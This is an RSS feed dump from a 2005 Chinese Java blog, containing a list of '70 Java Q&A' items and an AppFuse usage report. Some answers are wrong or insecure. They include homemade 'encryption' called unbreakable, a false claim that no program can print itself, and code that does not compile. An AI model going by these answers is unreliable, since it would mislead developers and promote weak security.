ZH-CN; mso-bidi-language: AR-SA">组件，还是什么</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">CORBA</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">组件，还是其他的什么实现，我也不需要知道。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">Web Services</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">最伟大的地方就在于通过统一的服务提供方式和调用方式，实现了整个</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">Internet</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">服务的共享，是一个非常令人激动的技术领域。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">Web Services</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">好像目前还没有什么很好的书籍，但是可以通过在网络上面查资料的方式来学习。</SPAN> </P><img src ="http://www.blogjava.net/frankboy/aggbug/25640.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/frankboy/" target="_blank">frankboy</a> 2005-12-27 23:46 <a href="http://www.blogjava.net/frankboy/archive/2005/12/27/25640.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>java问答</title><link>http://www.blogjava.net/frankboy/archive/2005/12/27/25639.html</link><dc:creator>frankboy</dc:creator><author>frankboy</author><pubDate>Tue, 27 Dec 2005 15:39:00 GMT</pubDate><guid>http://www.blogjava.net/frankboy/archive/2005/12/27/25639.html</guid><wfw:comment>http://www.blogjava.net/frankboy/comments/25639.html</wfw:comment><comments>http://www.blogjava.net/frankboy/archive/2005/12/27/25639.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/frankboy/comments/commentRss/25639.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/frankboy/services/trackbacks/25639.html</trackback:ping><description><![CDATA[<STRONG>70个JAVA问答<BR><BR><BR></STRONG>1. 问：在JAVA与JSP中要调用一个LINUX上的脚本程序,或WINDOWS上的脚本程序,该怎么写？<BR>答：System.getRuntime().exec("bash &lt; aaa.sh");<BR><BR><BR>2. 问：java中用什么表示双引号<BR>答："\""<BR><BR><BR>3. 问：如何在JSP程序里另起一个线程？<BR>答：<BR>JSP本身就是独立线程运行而不象CGI都是独立进程.<BR>一般:<BR>Thread t = new Thread("你的对象\\");<BR>t.start();就可以了.<BR>要求你这个对象要实现runnable接口或继承thread.<BR><BR><BR><BR>4. 问：jsp如何获得客户端的IP地址？<BR>答：<BR>request.getRemoteAddr()<BR>看看各个webserver的API文档说明，一般都有自带的，resin和tomcat都有<BR><BR><BR><BR>5. 问：程序终止与输出终止<BR>答：<BR>程序中止:return;<BR>输出中止:out.close();这一句相当于ASP的response.end<BR><BR><BR><BR>6. 问：jsp中如何得到上页的URL？<BR>答：request.getHeader("referer");<BR><BR><BR><BR>7. 问：提交网页的网页过期功能是怎么做的？<BR>答：response.setHader("Expires","0");<BR><BR><BR><BR>8. 问：在JSP网页中如何知道自已打开的页面的名称<BR>答：<BR>request.getRequestURI() ;//文件名<BR>request.getRequestURL() ;//全部ＵＲＬ<BR><BR><BR><BR>9. 问：提交表单后验证没有通过，返回提交页面，如何使原提交页面中的数据保留？<BR>答：javascript的go(-1)可以把上页的表单内容重新显示出来,但password域没有<BR><BR><BR><BR>10. 问：如何取得http的头信息？<BR>答：request.getHader(headerName);<BR><BR><BR><BR>11. 问：&amp;&amp;和&amp;的区别？<BR>答：<BR>&amp;&amp;是短路的与操作，也就是当地一个条件是false的时候，第二个条件不用执行<BR>&amp;相反，两个条件总是执行。<BR><BR><BR><BR>12. 问：将*以正弦曲线的一个周期显示出来<BR>答：<BR>public void paint(Graphics g)<BR>{<BR>for(int i=0;i&lt;200;i++)<BR>g.drawString("*",i,(int)(Math.sin(i)*20)+50);<BR>}<BR>}<BR><BR><BR><BR>13. 问：浮点数相乘后结果不精确如100.0 * 0.6 结果等于 60.0004<BR>答：<BR>这不叫错误,float和double是这样实现的.如果要精确计算，java提供了一个strictfp,它的计算遵循IEEE 754标准.而普通的float和double是由地平台浮点格式或硬件提供的额外精度或表示范围。<BR><BR><BR><BR>14. 问：如何获得当前用的cursors的位置？<BR>答：<BR>int row = rs.getRow()就是当前指针行数,还有isFrist();isBeforeFist();isLast();isAfterLast();可以测试是不是在方法名所说的位置<BR><BR><BR><BR>15. 问：表单成功提交了，点后退显示网页过期<BR>答：<BR>在&lt;head&gt;&lt;/head&gt;里面加以下代码<BR>&lt;META HTTP-EQUIV="Pragma" CONTENT="no-cache"&gt; <BR>&lt;META HTTP-EQUIV="Cache-Control" CONTENT="no-cache"&gt; <BR>&lt;META HTTP-EQUIV="Expires" CONTENT="0"&gt; <BR>或者在表单页中加上<BR>&lt;% <BR>response.setHeader("Pragma","no-cache"); <BR>response.setHeader("Cache-Control","no-cache"); <BR>response.setDateHeader("Expires",0); <BR>%&gt;<BR><BR><BR><BR>16. 问：接口的简单理解<BR>答：接口为了规范,比如我在接口中定义了一个方法:<BR>getData()<BR>这是用来从不同的数据库中取数据的,就是JDBC的实现对于用户,我不要知道每种数据库是如何做的,但我知道如何它们要实现这个接口就一定有这个方法可以供我调用.这样SUN就把这个接口给各个数据库开发商,让他们自己实现. 但为什么不用继承而用接口哩,因为继承只能从一个你类继承,而接口可以实现多个,就是说我实现的子类有多个规定好的接口中的功能. 这只是简单的理解,等你深入理解抽象的时候就知道抽象到抽象类时为什么还要再抽象到接口.<BR><BR><BR><BR><BR>17. 问：怎样编写一个取消按钮（怎样返回上一个页面，象工具栏的后退按钮）？<BR>答：<BR>javascript把每次浏览过的location都压到了一个栈中,这个栈就是history,然后你如果要回到第几个页面它就做几次POP操作,把最后POP出来的那个LOCATION给你. 这就是JAVASCRIPT在实现history.go(-x)的原理.<BR><BR><BR><BR><BR>18. 问：什么是回调？<BR>答：<BR>简单说,回调用不是让你去监听谁做完了什么事,而是谁做完了什么事就报告给你. 这就是回调用的思想.例子太多了,AWT的事件,SWING事件模型都是这样有. 还有多线程中,如果要控制线程数,不能总是查询每个线程是否结束,要在每个线程结束时让线程自己告诉主线程我结束了,你可以开新的线程了.<BR><BR><BR><BR>19. 问：简要介绍一下compareTo方法<BR>答：<BR>compareTo方法是Comparable 接口必需实现的方法,只要实现Comparable 就可以用Arrays.srot()排序就象实现Runnable接口的run就能Thread()一样.<BR><BR><BR><BR>20. 问：如何可以从别的Web服务器检索页, 然后把检索到的网页的HTML代码储存在一个变量中返回过来<BR>答：这是一个简单的WEB ROBOT实现,用URL类实现从网页中抓内容,然后自己写一个分析程序从中找出新的URL,不断递归下去就行了.<BR><BR><BR><BR>21. 问：applet中如何获得键盘的输入<BR>答：application的System.in是当前系统的标准输入,applet因为安全的原因不可能读取当前系统(客户端)的标准输入,只能从它的ROOT组件的事件中,比如键盘事件中取得键值.<BR><BR><BR><BR>22. 问：怎样计算代码执行所花费的时间？<BR>答：<BR>代码开始取时间，结束后取时间，相减<BR>long t1 = System.currentTimeMillis();<BR>///////////////// your code<BR>long t2 = System.currentTimeMillis() ;<BR>long time = t2-t1;<BR><BR><BR><BR>23. 问：如何获在程序中获得一个文件的ContentType？<BR>答：<BR>URL u = new URL("file:///aaa.txt");<BR>URLConnection uc = u.openConnection();<BR>String s = uc.getContentType();<BR><BR><BR>24. 问：连接池的使用是建立很多连接池，还是一个连接池里用多个连接？<BR>答：<BR>只有在对象源不同的情况下才会发生多个池化,如果你只连一结一个数据源,永远不要用多个连结池. 所以连结池的初始化一定要做成静态的,而且应该在构造对象之前,也就是只有在类LOAD的时候,别的时候不应该有任何生成新的连结池的时候。<BR><BR><BR>25. 问：JavaMail要怎么安装？<BR>答：下载两个包，一个是javamail包，另一个是jaf包。下载完直接把这两个包不解压加到CLASSPATH。<BR><BR><BR>26. 问：怎样把地址栏里的地址锁定？<BR>答：把你的服务器的可访问目录索引选项关闭就行了,任何服务器都有一个conf文件,里面都有这个选项。<BR><BR><BR>27. 问：在JAVA中怎么取得环境变量啊。比如： TEMP = C：\TEMP ？<BR>答：String sss = System.getProperty(key)<BR><BR><BR>28. 问：怎样实现四舍五入，保留小数点后两位小数？<BR>答：<BR>import java.text.*;<BR>...<BR>NumberFormat nf=NumberFormat.getNumberInstance();<BR>nf.setMaximumFractionDigits(2);<BR>nf.setMinimumFractionDigits(2);<BR>nf.format(numb);<BR><BR><BR>29. 问：Applet和form如何通信？<BR>答：<BR>取得的参数传到param里面<BR>&lt;% <BR>String xxx = request.getParameter("xxx"); <BR>%&gt; <BR>&lt;applet&gt; <BR>&lt;param value="&lt;%=xxx%&gt;"&gt; <BR>&lt;/applet&gt;<BR><BR><BR><BR>30. 问：java-plug-in是什么？<BR>答：Java Runtime Environment的插件。用来运行java程序。不需要什么特别的设置。等于你的机器里面有了jvm。<BR><BR><BR>31. 问：WEB上面怎么样连接上一个EXCEL表格？<BR>答：<BR>定义页面得contentType="application/vnd.ms-excel"，让页面以excel得形式打开。同样也可以以word得形式打开：application/msword。<BR><BR><BR>32. 问：怎样才能避免textarea字数限制？<BR>答：是使用了FORM的默认方法的缘故,如果什么也不写默认是GET改用Post即可，在Form中定义mothod="post"。<BR><BR><BR>33. 问：为什么加了&lt;%@page contentType="text/html;charset=gb2312" %&gt;插入数据库的中文，依然是乱码？<BR>答：<BR>这要从环境看,能显示说明你的JSP引擎没有问题,但写入数据库时你的JDBC能不能处理中文,同一公司不同版本的JDBC都有支持中文和不支持中文的情况,RESIN自带的MYSQL JDBC就不支持,MM的就支持,还有你的数据库类型是否支持中文?CHAR的一般支持,但是否用binary存储双字节码<BR><BR><BR>34. 问：对于JFrame，hide()，show()与setVisibel()有什么区别吗？<BR>答：<BR>setVisible()从Component继承过来，而hide(),show()从Window里面继承过来。<BR>Makes the Window visible. If the Window and/or its owner are not yet displa yable, both are made displayable. The Window will be validated prior to being made visible. If t he Window is already visible, this will bring the Window to the front. 区别在这。<BR><BR><BR>36. 问：sendRedirect为什么不可以转到mms协议的地址的？response.sendRedirect("mms://missiah.adsldns.org:9394");<BR>答：java平台目前实现的protocol中并没有mms,你可以取系统属性java.protocol.handler.pkgs看看它的值中有没有mms,所以如果要想重定向到mms://host这样和URL,只有生成客户端的JAVASCRIPT让它来重定向<BR><BR><BR>37. 问：JTable中怎样定义各个Columns和Width和怎样设置表格的内容靠做靠右或居中？<BR>答：<BR>TableColumn tc = table.getColumn("Name");//取得列名为"Name"的列Handle<BR>int currentWidth = tc.getPreferredWidth(); //取得该列当前的宽度<BR>tc.setPreferredWidth(200); //设置当前列宽<BR>tc.setMaxWidth(200); //设置该列最大宽度<BR>tc.setMinWidth(50); //设置该列最小宽度<BR><BR><BR>38. 问：批操作是否可用于select语句？<BR>答：批操作其实是指成批理更新的操作,绝对不可能用于select操作。<BR><BR><BR>39. 问：为什么jsp路径太深文件名太长就无法读取文件？<BR>答：path不能超过255长度,不然就找不到了.这是作业系统的事。<BR><BR><BR>40. 问：如何让页面不保留缓存？<BR>答：<BR>&lt;% <BR>response.setHeader("Pragma","No-cache"); <BR>response.setHeader("Cache-Control","no-cache"); <BR>response.setDateHeader("Expires", 0); <BR>%&gt;<BR><BR><BR>41. 问：我的applet code 中用到jbutton 时就出错是否由于ie不支持swing package 请问应怎么办？<BR>答：JBUTTON是SWING基本包啊,只要把jdk/jre/lib/rt.jar放在classpath就行了.不要加载任何别的库。<BR><BR><BR>42. 问：不知道java是否支持midi格式，如果支持，应该怎么把wave格式转换成midi格式？<BR>答：目前还不行,可以看一下JMF三个版中对MIDI的格式支持是read only,而WAVE是read/write,MIDI只能播放,不能生成。<BR><BR><BR>43. 问：在jsp里面防止用户直接输入url进去页面，应该怎么做呢？<BR>答：<BR>一是从web服务器控制,对某一目录的所有访问要通过验证.<BR>二是在要访问的页面中加入控制.这个一般用session,也可以用请求状态码实现<BR><BR><BR>44. 问：<BR>例如后台有一计算应用程序（此程序运算起来很慢，可持续几分钟到几小时，这不管，主要是能激活它），客户机讲任务提交后，服务器对任务进行检测无误后将向服务器后台程序发送信息，并将其激活。要求如下：<BR>1）首先将后台程序激活，让它执行此任务（比如，前台将计算的C代码提交上后，后台程序程序能马上调用，并将其运行）<BR>2）要在前台JSP页面中显示运行过程信息（由于运行时间长，希望让客户看到运行过程中产生的信息）如何完成？<BR><BR>答：<BR>活是可以的,运行一个shell让它去运行后台就行,但不可能取出运行信息,因为HTTP的超时限制不可能永远等你后台运行的,而且信息如果要动态实时推出来就得用SERVER PUSH技术。<BR><BR><BR><BR>45. 问：数据库是datetime 型 ，插入当前时间到数据库？<BR>答：<BR>java.sql.Date sqlDate = new java.sql.Date();<BR>PreparedStatement pstmt = conn.prepareStatement("insert into foo(time) values(?)");<BR>pstmt.setDate(1,sqlDate);<BR>pstmt.executeUpdate();<BR><BR><BR>46. 问：怎样去掉字符串前后的空格。<BR>答：String.trim()<BR><BR><BR>47. 问：session怎样存取int类型的变量？<BR>答：<BR>session.setAttribute("int", i+"");<BR>int i = Integer.parseInt(session.getAttribute("int"));<BR><BR><BR>48. 问：在javascript中如何使输出的float类型的数据保留两位小数。<BR>答：Math.round(aaaaa*100)/100。<BR><BR><BR>49. 问：在bean种如何调用session<BR>答：<BR>你可把session对象作为一个参数传给bean<BR>在BEAN中定义HttpServletRequest request;HttpSession session;<BR>然后<BR>session = request.getSession(false);<BR>false为如果session为空,不建立新的session<BR>将session作为参数传入.其实只要将request传入就可以<BR><BR><BR>50. 问：如何把txt或word文件按原格式显示在jsp页面或servlet上？<BR>答：<BR>其实一个非常简单的解决方法就是在服务器的MIME中指点定TEXT和WORD的解释方式,然后用JSP或SERVLET生成它就行了,客户端就会自动调用相应程序打开你的文档。<BR>如果是希望按原格式的显示在页面上，而不是调用其他程序打开那么你可以试试用WEBDEV协议,可以说这是MS的一个亮点.它是在WEB方式下打开文档,和共享一样.完全符合的要求。<BR><BR><BR>51. 问：object的clone方法为什么不能直接调用？<BR>答：<BR>这个方法在object中是protected<BR>为什么要把这个方法定义为protected,这是一个折中,它的目的是想知道你这个方法在Object里只是一个标记,而不是一个实现,比如<BR><BR>public class Object<BR>{<BR><BR>.............<BR>protected Object clone()<BR>{}<BR>}<BR><BR>所以直接继承的clone()方法并不能做任何时,你要使用这个方法就要重载这个方法并放宽访问权限为public,或实现cloneable接口. 但它没法这样告诉你它没有真的实现,只好用protected 方法加以警示<BR><BR><BR>52. 问：一个页面中如何刷新另外一个页面？<BR>答：<BR>要求是这些面页必须有关联,一是它们都有一个共同的顶层帧,也就是说是一个帧内的分级页面,当然可以是任意级,帧内再分帧也可以,另一个可能是当前窗口弹出的窗口,如果没有联系,那就不可能用一个页面刷新另一个页面. 帧内只要一级一级引用就行了. 比如在左帧中一个页面中写top.right.location.reload();那么名为right的右帧中的页面就会刷新. 弹出的一样,用open时的名称刷新子窗口,子窗口用opener刷新主窗口<BR><BR><BR>53. 问：如何在jsp中怎么样向客户端写cookies？<BR>答：<BR>Cookie coo = new Cookie(name, value);<BR>HttpServletResponse.addCookie(name);<BR><BR><BR>54. 问：为什么jTextField1.setText("aaabbb");jTextField2.setText("AAABBB"); 得到的字体宽度不一样？<BR>答：就是说如果不是指定为等宽字体,每个字体的宽度都是不一样的.因此JAVA中用FontMetrics 类来取字符宽度。<BR><BR><BR>55. 问：String kk=application/octet-stream; name="G:/SMBCrack.exe";如何得到SMBCrack.exe？<BR>答：<BR>这应该是解析上传时候的二进制流得到的这一行里面格式是固定的，取到name="后面的字符串，然后把";去掉。然后取最后一个/后面的所有字符组成一个新字符串就行了。<BR><BR><BR>56. 问：如何传值并不刷新页面？<BR>答：<BR>弹出一个页面进行值的选择或者输入，ok后使用将值传给原窗口，使用javascript关闭打开的窗口即可：<BR>window.close();opener.focus();<BR><BR><BR><BR>57. 问：有一个字符串："EF0C114EA4"，如何变为a[0] = 0xEF a[1] = 0x0C a[2] = 0x11 a[3] = 0x4E a[4] = 0xA4？<BR>答：<BR>String str="EF0C114EA4F";<BR>out.print(str+"&lt;br&gt;");<BR>int l=str.length()/2+str.length()%2,j=0,k=0;<BR>String[] a=new String[l];<BR>for(int i=0;i&lt;l;i++){<BR>if(str.length()-j==1)<BR>k=str.length();<BR>else<BR>k=j+2;<BR>a[i]="0x"+str.substring(j,k);<BR>out.print("a["+Integer.toString(i)+"]="+a[i]+"&lt;br&gt;");<BR>j+=2;<BR>}<BR><BR><BR>58. 问：怎样将一个int转换成一个四字节的byte数组？<BR>答：<BR>int x = 1234567;<BR>byte[] b = new byte[4];<BR>for(int i=0;i&lt;b.length;i++)<BR>{<BR>b[i] = (x &gt;&gt;( i*8)) &amp; 0xFF;<BR>}<BR><BR><BR>59. 问：indexOf()的使用需要注意什么？<BR>答：参数是指从第几位（1，2，3，...）开始搜索，而返回值是指搜索到的位置（0，1，2，3.......）注意是从零算起的。<BR><BR><BR>60. 问：在Java应用程序中如何动态的添加一个按钮？<BR>答：<BR>这里涉及一个组件重绘的问题,组件要先于panel被显示之处存在,如果一panel已经显示了,那么加在上面你能看到吗?但如果在同一个panel上, 先有button A,假如按下它加了butt on B,这时你如果使整个panel重给,那么A本身要重绘,它的事件监听就没有了,当然也就加不成B了,所以如果要先有另一个panel,当按A时把B加在这个panel上并重绘这个paenl,其实更好的方法是先把B加在panel中,同一个也行.把它setVisiable(flase),按A时设为 true。<BR><BR><BR>61. 问：book mybook=new book(bookid);book是servlet,出错。<BR>答：<BR>book是servlet,能book mybook=new book(bookid);<BR>说明自己实现了servlet容器?不然,servlet能让你自己去调用? servlet如果调用其实和EJB连1%的区别都没有,它们都是自己继承或实现一些接口,在这些父类或接口中实现了如果和容器\"打交道"的方法,然后容器调用这些方法来管理它,让它生成实例,池化,钝化,销毁,再生等.所以这样写是错误的。<BR><BR><BR>62. 问：给定一个字符串5*(5+9)/7怎样计算出结果？<BR>答：<BR>可有两种方法<BR>1。用堆栈完成<BR>2。最简单的方法，不用编程，如果有任何一个数据库的化，用select (5*(5+9)/7) from oneTable<BR><BR><BR>63. 问：如何实现递交表单内容的加密解密？<BR>答：<BR>如果你用IE目前只能用SSL协议,这一层不要你考虑,否则只你用你自己的工具加密传输,接收后再解密友,至于如何加解,如果要和公认的系统结合,就用通用的MD5,RAS等公开算法,如果你只是自己传自己解,你随便按你的想法把数据加上一些东西,取回来按规则减掉这些东西,我敢保证除你自己没有任何人能知道解密方法.<BR><BR><BR>64. 问：为什么Integer.parseInt("+1");会抛出NumberFormatException的异常？<BR>答：因为"+"运行算在JAVA中被重载.系统无法确定你用的是算术加还是字符+。<BR>这一点可以在JAVASCRIPT中更好地理解:<BR>&lt;form name="t"&gt;&lt;input name=s value=1234&gt;&lt;/form&gt;<BR>var a = document.t.s.value+1;<BR>这时a = 12345,因为document.t.s.value作为字符串.但var a = document.t.s.value-1;<BR>a 就是1233,因为系统知道-运算肯定是算术运行.所以把document.t.s.value转换成数字.<BR><BR><BR><BR>65. 问：hashCode() 有什么用为什么有时候需要覆盖Object里的hashcode()方法？<BR>答：这就是这个对象的身份证啊,要不如何区分哪个对象。<BR><BR><BR>66. 问：怎样在tomcat中实现一个定时执行的东东？<BR>答：<BR>在应用程序启动时自动运行。servlet2.3中定义了ServletListener,监听Servlet Con text的启动或则关闭（可在配置文件中配置），启动时触发一个守护程序的运行(可以实现java.util.Timer或则 javax.swing.Timer).<BR><BR><BR>67. 问：程序可以输出自己吗？<BR>答：孔德悖论这个非常有名的法则.就是说任何程序都不可能输出自己.<BR><BR><BR>68. 问：能够把字符转化成ASCII码？比如将 A 转化成 65？<BR>答：<BR>int a='A';<BR>out.println(a);<BR><BR><BR>69. 问：如何区分输入的文字中的全角与半角？<BR>答：由于不能分辨出全角和半角字符的值有什么规律,只好把全角符号牧举出来了.<BR><BR><BR>70. 问：用户注册后的自动发信程序该怎么做？<BR>答：<BR>这种发信程序不考虑性能,因为不可能1秒就有一个人注册,我们说的考虑性能的发信程序是指上百万封信在队列里要不停发送的那种,象你这个随便怎么写一个程序都行,没有必要用JAVAMAIL.只要指定一个发信的服务器然后用cocket连它的25口就行了.自己用SOCKET连SMTP的25口发一封信就好象两个邻居之间送一样东西,直接递过去得了,用JAVAMAIL,消息机制就是你把这个东西从邮局寄给你的邻居了. <img src ="http://www.blogjava.net/frankboy/aggbug/25639.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/frankboy/" target="_blank">frankboy</a> 2005-12-27 23:39 <a href="http://www.blogjava.net/frankboy/archive/2005/12/27/25639.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Appfuse</title><link>http://www.blogjava.net/frankboy/archive/2005/12/27/25638.html</link><dc:creator>frankboy</dc:creator><author>frankboy</author><pubDate>Tue, 27 Dec 2005 15:21:00 GMT</pubDate><guid>http://www.blogjava.net/frankboy/archive/2005/12/27/25638.html</guid><wfw:comment>http://www.blogjava.net/frankboy/comments/25638.html</wfw:comment><comments>http://www.blogjava.net/frankboy/archive/2005/12/27/25638.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/frankboy/comments/commentRss/25638.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/frankboy/services/trackbacks/25638.html</trackback:ping><description><![CDATA[<SPAN id=_ctl2_lblPermalink>&nbsp;
<TABLE class=blogpost cellSpacing=0 width="100%" border=0>
<TBODY>
<TR>
<TD class=bvh8></TD></TR>
<TR>
<TD vAlign=top><SPAN class=bold id=LastMDatecns!1pNOLkrCLfTHbMQXfurrsjsg!114></SPAN></TD></TR>
<TR>
<TD height=4></TD></TR>
<TR>
<TD class=blackline></TD></TR>
<TR>
<TD height=4></TD></TR>
<TR>
<TD class=ellipse><SPAN class=bvTitle id=subjcns!1pNOLkrCLfTHbMQXfurrsjsg!114>Appfuse总结</SPAN></TD></TR>
<TR>
<TD class=bvh8><BR></TD></TR>
<TR>
<TD id=msgcns!1pNOLkrCLfTHbMQXfurrsjsg!114>
<P>使用AppFuse进行开发的总结 <BR><BR><BR>AppFuse 是一个集成了当前最流行的Web应用框架的一个更高层次的Web开发框架，也可以说是一个Web开发基础平台，它与它所集成的各种框架相比，它提供了一部分所有Web系统开发过程中都需要开发的一些功能，如登陆、用户密码加密，用户管理、根据不同的用户可以展现不同的菜单，可以自动生成40％-60%左右的代码，自带了默认的一些在CSS中设定的样式，使用这些样式能很快的改变整个系统的外观，还有自动化测试的功能。 <BR><BR>它最大的价值就是为我们提供了一个Web开发的新的方式和思路，尽管这些技术在国外都已进很流行了，但在国内能够将Hibernate、Struts、Spring、 DBUnit、Ant、Log4J、Struts Menu、Xdoclet、SiteMesh、Velocity、JUnit、JSTL、WebWork这些技术集成到一个框架中的还不多见，所以即使不使用它的全部功能，它也给我们提供了一个很好的借鉴、学习的机会。 <BR><BR>通过关注AppFuse，我们可以看到目前国外的主流开发都使用了哪些技术，开发方式是什么样的，可能达到什么样的结果，而在以前，是很少能够看到这样完整的例子的。 <BR><BR>AppFuse的另一个启示是：我们可以依靠开源软件的功能降低开发成本，而且可以阅读开源软件的代码提高所在团队的整体实力。 <BR><BR>AppFuse 的作者 matt raible是当今开源世界一个比较活跃的开发者，它是AppFuse、Struts Menu的作者，也是XDoclet、DisplayTag等一些著名开源项目的积极参与者，《Hibernate In Action》的作者就在感谢的名单里面提到他，XDoclet的下载版本中所带的Hibernate标签部分的例子就是他写的，他还是2004年 Apache技术年会的主讲人之一。（这些都是我这2个多月来搜集到的，呵呵） <BR><BR>但是通过2个月的实际学习和使用，我也遇到一系列的问题，因为AppFuse是将其他的一些类库或者框架集成在一起的，集成的技术众多，而且有一些技术在国内甚至很少有人知道，资料也比较少，所以虽然作者经过了一些测试，但都是基于英文编码的，而对于中文编码来说，还潜在的存在着一些问题，虽然不是AppFuse的问题，但却降低了开发速度，下面是我在开发过程中遇到过的问题，有些解决了，有些还没有解决： <BR>一．Struts <BR>1． AppFuse中默认的MVC框架是Struts，而且使用的是LookupDispatchAction，并且使用的是按钮（button），在XP下用IE浏览效果还可以，但如果在2000或者98下，就使外观很难看，而且当时我还遇到一个问题：如果按钮显示中文，则在DisplayTag中翻页失灵，而且报错，后来我把BaseAction的相关方法改变了，才可以使用，因为国内的客户都比较重视界面，所以后来我将那些按钮都改成图片了，当然也要添加一些方法了，有点麻烦！ <BR>2． Struts中的标签如今推荐使用的只有html部分的标签了，其他的标签或者可以使用JSTL替代，或者已经不推荐使用了，而且AppFuse中推荐使用JSTL，而JSTL和struts的标签的联合使用时，需要的不是&lt;html:标签&gt;，而是&lt;html-el:标签&gt;，这个问题曾经困扰了我整整2天。 <BR>3． Struts的Validation的校验规则并不完善，比如如果使用客户端的javascript校验，则在邮箱中输入汉字根本校验不出来，到了服务器端报错。 <BR>4．最严重的问题是AppFuse生成的Struts的validation.xml文件中有许多多余的“.”，如果你去掉了，常常在执行ant的 deploy任务时又恢复原样。这样是提交表单的时候经常会报javascript的脚本错误或者缺少对象或者缺少value，所以我会手工的修改这个文件，然后把修改后的文件备份，当重新生成有错误的文件时，我会用备份的没有错误的文件去覆盖。 <BR>5． Struts的validatioin对于使用同一个FormBean的Action的校验方式比较复杂。（待解决）。 <BR>二．Hibernate <BR>1． Hibernate是现在受到越来越多的人推崇的一个ORM工具（框架、类库），它将我们从繁琐的使用JDBC的开发过程中解放出来，但同时也带来了新的问题，如学习曲线，执行效率，数据库设计优化，还有最重要的灵活性。Hibernate不是一个很容易上手的东西，要完全驾驭它还需要读很多资料，但好的资料却很少。 <BR>2． 使用Xdoclet可以很方便的生成Hibernate中的持久类的配置文件（*.hbm.xml）,但对一些特殊的映射却无能为力，如使用序列的id生成规则，序列的名字没有地方写，所以也只好先利用它生成主要的内容，然后手工修改。 <BR>3． 同样还是id的生成策略问题，如果使用序列、hilo等需要一些数据库机制支持的策略时，schemaExport并不能自动生成序列或者保存当前id的表，这项工作仍然要手工解决。 <BR>4． Hibernate中提供了几种关联，一对一、一对多、多对多，但对于怎样调整效率却没有一个很明确的提示，还要根据情况判定，这就带来和一些弹性的设计。 <BR>5． Hibernate中可以选择的操作数据库的方式有3种，其中HQL功能最强大，但有些功能使用标准查询可能会更方便，但会有一些限制，所以虽然它很灵活，但易用性不如JDBC好。 <BR>三．Spring <BR>在AppFuse的过程中，Spring完全隐藏在幕后，除了一些配置外，几乎感觉不到它的存在，所以我在使用它的过程中并没有遇到什么麻烦，这里只是简单的介绍一下它在AppFuse中起到的作用。 <BR>1． Spring在AppFuse中起到的主要作用是对Hibernate的Session和事务的管理，利用Spring封装的Hibernate模板类，我们大大地减少了实现DAO的代码行数。 <BR>2． Spring还起到了连接映射文件和类之间的关联，及接口和实现类之间的关联，这些都依赖于Spring的IoC的机制的实现。 <BR>3． 对于字符进行编码和解码部分用到了Spring自带的Filter，只需要在配置文件中配置就好了。 <BR><BR>四．SiteMesh <BR>SiteMesh是一个基于Decorator模式的技术，它可以修饰返回的网页文件，它的工作方式受到越来越多的人的推崇，这点从Manning出版的一些技术书籍中可以看出来。 <BR>我在使用SiteMesh的过程中并不顺利，我参考了《Java Open Source Programming》，这本书中说SiteMesh在默认的情况下不对下载文件进行装饰，但我在下载文件时发现，我的文件内容被丢弃了，取而代之的是 SiteMesh的模板的内容，后来我通过修改SiteMesh的配置文件解决了这个问题，但感觉还有一些不太清楚的地方需要学习。 <BR><BR>五．DisplayTag <BR>DisplayTag 是一个优秀的显示内容的标签，从SourceForge的访问量来看，它是很活跃的项目，仅次于Ant、Hibernate、Xdoclet等几个著名的项目，我总结，它的主要功能有4项：显示、分页、排序、将显示的数据写入指定类型的文件中，然后下载。 <BR>1． 据我使用的情况看，我只使用了分页和显示的功能，因为当时我没有很好的解决中文编码的问题，所以排序会有问题，直到昨天，我在朋友的帮助下解决了这个问题，至此我可以放心使用的功能又增加了排序(我昨天简单的测试了一下是可以的)。 